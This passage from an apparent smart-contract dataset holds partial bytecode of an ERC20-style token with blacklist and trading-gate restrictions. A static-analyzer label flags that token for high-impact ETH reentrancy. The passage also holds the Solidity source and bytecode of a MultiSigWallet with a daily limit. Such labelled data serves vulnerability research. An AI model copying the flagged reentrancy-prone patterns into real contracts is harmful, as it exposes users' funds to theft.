ffffffffff168152505061264530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611694565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126a995949392919061370c565b600060405180830381600087803b1580156126c357600080fd5b505af11580156126d7573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127085761270761279c565b5b6127138484846127df565b80612721576127206129aa565b5b50505050565b600061276983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129be565b905092915050565b600080600061277e612a21565b91509150612795818361272790919063ffffffff16565b9250505090565b6000600d541480156127b057506000600e54145b156127ba576127dd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f187612a80565b95509550955095509550955061284f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293081612b90565b61293a8483612c4d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299791906136f1565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fc919061350f565b60405180910390fd5b5060008385612a14919061387d565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612a55670de0b6b3a764000060065461272790919063ffffffff16565b821015612a7357600654670de0b6b3a7640000935093505050612a7c565b81819350935050505b9091565b6000806000806000806000806000612a9d8a600d54600e54612c87565b9250925092506000612aad612771565b90506000806000612ac08e878787612d1d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612233565b905092915050565b6000808284612b419190613827565b905083811015612b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7d90613611565b60405180910390fd5b8091505092915050565b6000612b9a612771565b90506000612bb18284612da690919063ffffffff16565b9050612c0581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6282600654612ae890919063ffffffff16565b600681905550612c7d81600754612b3290919063ffffffff16565b6007819055505050565b600080600080612cb36064612ca5888a612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612cdd6064612ccf888b612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612d0682612cf8858c612ae890919063ffffffff16565b612ae890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d368589612da690919063ffffffff16565b90506000612d4d8689612da690919063ffffffff16565b90506000612d648789612da690919063ffffffff16565b90506000612d8d82612d7f8587612ae890919063ffffffff16565b612ae890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db95760009050612e1b565b60008284612dc791906138ae565b9050828482612dd6919061387d565b14612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90613631565b60405180910390fd5b809150505b92915050565b6000612e34612e2f846137a6565b613781565b90508083825260208201905082856020860282011115612e5357600080fd5b60005b85811015612e835781612e698882612e8d565b845260208401935060208301925050600181019050612e56565b5050509392505050565b600081359050612e9c81613ef2565b92915050565b600081519050612eb181613ef2565b92915050565b60008083601f840112612ec957600080fd5b8235905067ffffffffffffffff811115612ee257600080fd5b602083019150836020820283011115612efa57600080fd5b9250929050565b600082601f830112612f1257600080fd5b8135612f22848260208601612e21565b91505092915050565b600081359050612f3a81613f09565b92915050565b600081359050612f4f81613f20565b92915050565b600060208284031215612f6757600080fd5b6000612f7584828501612e8d565b91505092915050565b600060208284031215612f9057600080fd5b6000612f9e84828501612ea2565b91505092915050565b60008060408385031215612fba57600080fd5b6000612fc885828601612e8d565b9250506020612fd985828601612e8d565b9150509250929050565b600080600060608486031215612ff857600080fd5b600061300686828701612e8d565b935050602061301786828701612e8d565b925050604061302886828701612f40565b9150509250925092565b6000806040838503121561304557600080fd5b600061305385828601612e8d565b925050602061306485828601612f40565b9150509250929050565b60008060006040848603121561308357600080fd5b600084013567ffffffffffffffff81111561309d57600080fd5b6130a986828701612eb7565b935093505060206130bc86828701612f2b565b9150509250925092565b6000602082840312156130d857600080fd5b600082013567ffffffffffffffff8111156130f257600080fd5b6130fe84828501612f01565b91505092915050565b60006020828403121561311957600080fd5b600061312784828501612f2b565b91505092915050565b60006020828403121561314257600080fd5b600061315084828501612f40565b91505092915050565b6000806000806080858703121561316f57600080fd5b600061317d87828801612f40565b945050602061318e87828801612f40565b935050604061319f87828801612f40565b92505060606131b087828801612f40565b91505092959194509250565b60006131c883836131d4565b60208301905092915050565b6131dd8161393c565b82525050565b6131ec8161393c565b82525050565b60006131fd826137e2565b6132078185613805565b9350613212836137d2565b8060005b8381101561324357815161322a88826131bc565b9750613235836137f8565b925050600181019050613216565b5085935050505092915050565b6132598161394e565b82525050565b61326881613991565b82525050565b613277816139b5565b82525050565b6000613288826137ed565b6132928185613816565b93506132a28185602086016139c7565b6132ab81613b01565b840191505092915050565b60006132c3602383613816565b91506132ce82613b12565b604082019050919050565b60006132e6603f83613816565b91506132f182613b61565b604082019050919050565b6000613309602a83613816565b915061331482613bb0565b604082019050919050565b600061332c601c83613816565b915061333782613bff565b602082019050919050565b600061334f602683613816565b915061335a82613c28565b604082019050919050565b6000613372602283613816565b915061337d82613c77565b604082019050919050565b6000613395602383613816565b91506133a082613cc6565b604082019050919050565b60006133b8601b83613816565b91506133c382613d15565b602082019050919050565b60006133db602183613816565b91506133e682613d3e565b604082019050919050565b60006133fe602083613816565b915061340982613d8d565b602082019050919050565b6000613421602983613816565b915061342c82613db6565b604082019050919050565b6000613444602583613816565b915061344f82613e05565b604082019050919050565b6000613467602383613816565b915061347282613e54565b604082019050919050565b600061348a602483613816565b915061349582613ea3565b604082019050919050565b6134a98161397a565b82525050565b6134b881613984565b82525050565b60006020820190506134d360008301846131e3565b92915050565b60006020820190506134ee6000830184613250565b92915050565b6000602082019050613509600083018461325f565b92915050565b60006020820190508181036000830152613529818461327d565b905092915050565b6000602082019050818103600083015261354a816132b6565b9050919050565b6000602082019050818103600083015261356a816132d9565b9050919050565b6000602082019050818103600083015261358a816132fc565b9050919050565b600060208201905081810360008301526135aa8161331f565b9050919050565b600060208201905081810360008301526135ca81613342565b9050919050565b600060208201905081810360008301526135ea81613365565b9050919050565b6000602082019050818103600083015261360a81613388565b9050919050565b6000602082019050818103600083015261362a816133ab565b9050919050565b6000602082019050818103600083015261364a816133ce565b9050919050565b6000602082019050818103600083015261366a816133f1565b9050919050565b6000602082019050818103600083015261368a81613414565b9050919050565b600060208201905081810360008301526136aa81613437565b9050919050565b600060208201905081810360008301526136ca8161345a565b9050919050565b600060208201905081810360008301526136ea8161347d565b9050919050565b600060208201905061370660008301846134a0565b92915050565b600060a08201905061372160008301886134a0565b61372e602083018761326e565b818103604083015261374081866131f2565b905061374f60608301856131e3565b61375c60808301846134a0565b9695505050505050565b600060208201905061377b60008301846134af565b92915050565b600061378b61379c565b905061379782826139fa565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c1576137c0613ad2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138328261397a565b915061383d8361397a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387257613871613a74565b5b828201905092915050565b60006138888261397a565b91506138938361397a565b9250826138a3576138a2613aa3565b5b828204905092915050565b60006138b98261397a565b91506138c48361397a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fd576138fc613a74565b5b828202905092915050565b60006139138261397a565b915061391e8361397a565b92508282101561393157613930613a74565b5b828203905092915050565b60006139478261395a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399c826139a3565b9050919050565b60006139ae8261395a565b9050919050565b60006139c08261397a565b9050919050565b60005b838110156139e55780820151818401526020810190506139ca565b838111156139f4576000848401525b50505050565b613a0382613b01565b810181811067ffffffffffffffff82111715613a2257613a21613ad2565b5b80604052505050565b6000613a368261397a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6957613a68613a74565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efb8161393c565b8114613f0657600080fd5b50565b613f128161394e565b8114613f1d57600080fd5b50565b613f298161397a565b8114613f3457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011979a3cbf5bd0944334a69781061e2affd02700ffd9b299055cb7f73c0ff01064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,518 |
0x67bcd61f19bae92a57a58737aca9c432822283d2
|
/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
pragma solidity ^0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <[email protected]>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d58565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d87565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611012565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610416600480360381019080803590602001909291905050506110f7565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111c2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611345565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114b6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be6116f3565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506116f9565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117ab565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611984565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119a3565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119a8565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cc1565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b9190611fc7565b506003805490506004541115610b4a57610b496003805490506116f9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c8457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1257838015610dc6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610df95750828015610df8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e05576001820191505b8080600101915050610d8f565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eab57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b6001600380549050016004546032821180610eea57508181115b80610ef55750600081145b80610f005750600082145b15610f0a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ef5760016000858152602001908152602001600020600060038381548110151561105057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110cf576001820191505b6004548214156110e257600192506110f0565b808060010191505061101f565b5b5050919050565b600080600090505b6003805490508110156111bc5760016000848152602001908152602001600020600060038381548110151561113057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af576001820191505b80806001019150506110ff565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561129a5780601f1061126f5761010080835404028352916020019161129a565b820191906000526020600020905b81548152906001019060200180831161127d57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561133b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112f1575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561137c5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611428578580156113bf575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113f257508480156113f1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561141b5780838381518110151561140657fe5b90602001906020020181815250506001820191505b8080600101915050611388565b8787036040519080825280602002602001820160405280156114595781602001602082028038833980820191505090505b5093508790505b868110156114ab57828181518110151561147657fe5b906020019060200201518489830381518110151561149057fe5b9060200190602002018181525